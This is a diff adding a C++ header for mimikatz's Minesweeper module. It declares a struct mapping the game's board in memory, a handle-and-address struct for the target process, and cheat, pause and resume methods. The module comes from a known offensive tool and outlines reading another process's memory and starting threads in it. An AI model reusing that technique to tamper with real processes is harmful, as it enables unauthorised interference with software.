+#pragma once
+#include "globdefs.h"
+#include "mod_process.h"
+#include "mod_memory.h"
+#include "mod_windows.h"
+#include <iostream>
+
+class mod_mimikatz_winmine
+{
+private:
+ typedef struct structMonDemineur{
+ DWORD32 nbMines;
+ DWORD32 longueur;
+ DWORD32 hauteur;
+ DWORD32 alignOffset;
+ BYTE tabMines[26][32];
+ } structMonDemineur;
+
+ typedef struct structHandleAndAddr{
+ HANDLE hWinmine;
+ DWORD pidWinmine;
+ structMonDemineur * addrMonDemineur;
+ PTHREAD_START_ROUTINE addrPause;
+ PTHREAD_START_ROUTINE addrResume;
+ PTHREAD_START_ROUTINE addrStart;
+ } structHandleAndAddr;
+
+ static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr);
+ static bool startThreadAt(unsigned long structOffset);
+ static bool infosOrCheat(vector<wstring> * arguments, bool cheat = false);
+
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool infos(vector<wstring> * arguments);
+ static bool start(vector<wstring> * arguments);
+ static bool pause(vector<wstring> * arguments);
+ static bool reprise(vector<wstring> * arguments);
+ static bool cheat(vector<wstring> * arguments);
+};